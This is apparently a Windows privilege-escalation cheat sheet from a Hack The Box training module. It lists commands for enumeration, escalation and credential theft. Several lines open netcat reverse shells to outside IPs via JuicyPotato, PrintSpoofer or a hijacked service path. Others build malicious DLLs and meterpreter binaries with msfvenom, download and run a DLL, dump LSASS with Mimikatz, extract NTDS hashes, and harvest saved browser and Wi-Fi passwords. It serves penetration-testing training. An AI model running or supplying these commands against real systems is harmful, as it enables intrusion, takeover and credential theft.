Initial Enumeration

Command Description
xfreerdp /v:<target ip> /u:htb-student RDP to lab target
ipconfig /all Get interface, IP address and DNS information
arp -a Review ARP table
route print Review routing table
Get-MpComputerStatus Check Windows Defender status
`Get-AppLockerPolicy -Effective select -ExpandProperty RuleCollections`
`Get-AppLockerPolicy -Local Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone`
set Display all environment variables
systeminfo View detailed system configuration information
wmic qfe Get patches and updates
wmic product get name Get installed programs
tasklist /svc Display running processes
query user Get logged-in users
echo %USERNAME% Get current user
whoami /priv View current user privileges
whoami /groups View current user group information
net user Get all system users
net localgroup Get all system groups
net localgroup administrators View details about a group
net accounts Get passsword policy
netstat -ano Display active network connections
pipelist.exe /accepteula List named pipes
gci \\.\pipe\ List named pipes with PowerShell
accesschk.exe /accepteula \\.\Pipe\lsass -v Review permissions on a named pipe

Handy Commands

Command Description
mssqlclient.py [email protected] -windows-auth Connect using mssqlclient.py
enable_xp_cmdshell Enable xp_cmdshell with mssqlclient.py
xp_cmdshell whoami Run OS commands with xp_cmdshell
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t * Escalate privileges with JuicyPotato
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmp Take memory dump with ProcDump
sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswords Use MimiKatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.config Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config Taking ownership of a file
`Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}}`
icacls “C:\backups\wwwroot\web.config” /grant htb-student:F Modifying a file ACL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL Extract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.dit Copy files with ROBOCOPY
`wevtutil qe Security /rd:true /f:text Select-String "/user"`
`wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 findstr "/user"`
`Get-WinEvent -LogName security where { $.ID -eq 4688 -and $.Properties[8].Value -like '/user' }
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll Generate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dll Loading a custom DLL with dnscmd
wmic useraccount where name="netadm" get sid Finding a user's SID
sc.exe sdshow DNS Checking permissions on DNS service
sc stop dns Stopping a service
sc start dns Starting a service
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters Querying a registry key
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll Deleting a registry key
sc query dns Checking a service status
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local Disabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3 Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Compile with cl.exe
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt and `cat drivers.txt Select-String -pattern Capcom`
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys Using EopLoadDriver
c:\Tools\PsService.exe security AppReadiness Checking service permissions with PsService
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" Modifying a service binary path
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA Confirming UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin Checking UAC level
[environment]::OSVersion.Version Checking Windows version
cmd /c echo %PATH% Reviewing path variable
curl <http://10.10.14.3:8080/srrstr.dll> -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll" Downloading file with cURL in PowerShell
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll Executing custom dll with rundll32.exe
.\SharpUp.exe audit Running SharpUp
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" Checking service permissions with icacls
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe" Replace a service binary
`wmic service get name,displayname,pathname,startmode findstr /i "auto"
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services Checking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443" Changing ImagePath with PowerShell
`Get-CimInstance Win32_StartupCommand select Name, command, Location, User
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe Generating a malicious binary
get-process -Id 3324 Enumerating a process ID with PowerShell
`get-service ? {$_.DisplayName -like 'Druva*'}`

Credential Theft

Command Description
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml Search for files with the phrase "password"
`gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' Select-String password`
(Get-PSReadLineOption).HistorySavePath Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath Reading PowerShell history file
$credential = Import-Clixml -Path 'C:\scripts\pass.xml' Decrypting PowerShell credentials
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config Searching file contents for a string
findstr /spin "password" *.* Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password Search file contents with PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* Search for file extensions
where /R C:\ *.config Search for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore Search for file extensions using PowerShell
cmdkey /list List saved credentials
.\SharpChrome.exe logins /unprotect Retrieve saved Chrome credentials
.\lazagne.exe -h View LaZagne help menu
.\lazagne.exe all Run all LaZagne modules
Invoke-SessionGopher -Target WINLPE-SRV01 Running SessionGopher
netsh wlan show profile View saved wireless networks
netsh wlan show profile ilfreight_corp key=clear Retrieve saved wireless passwords

Other Commands

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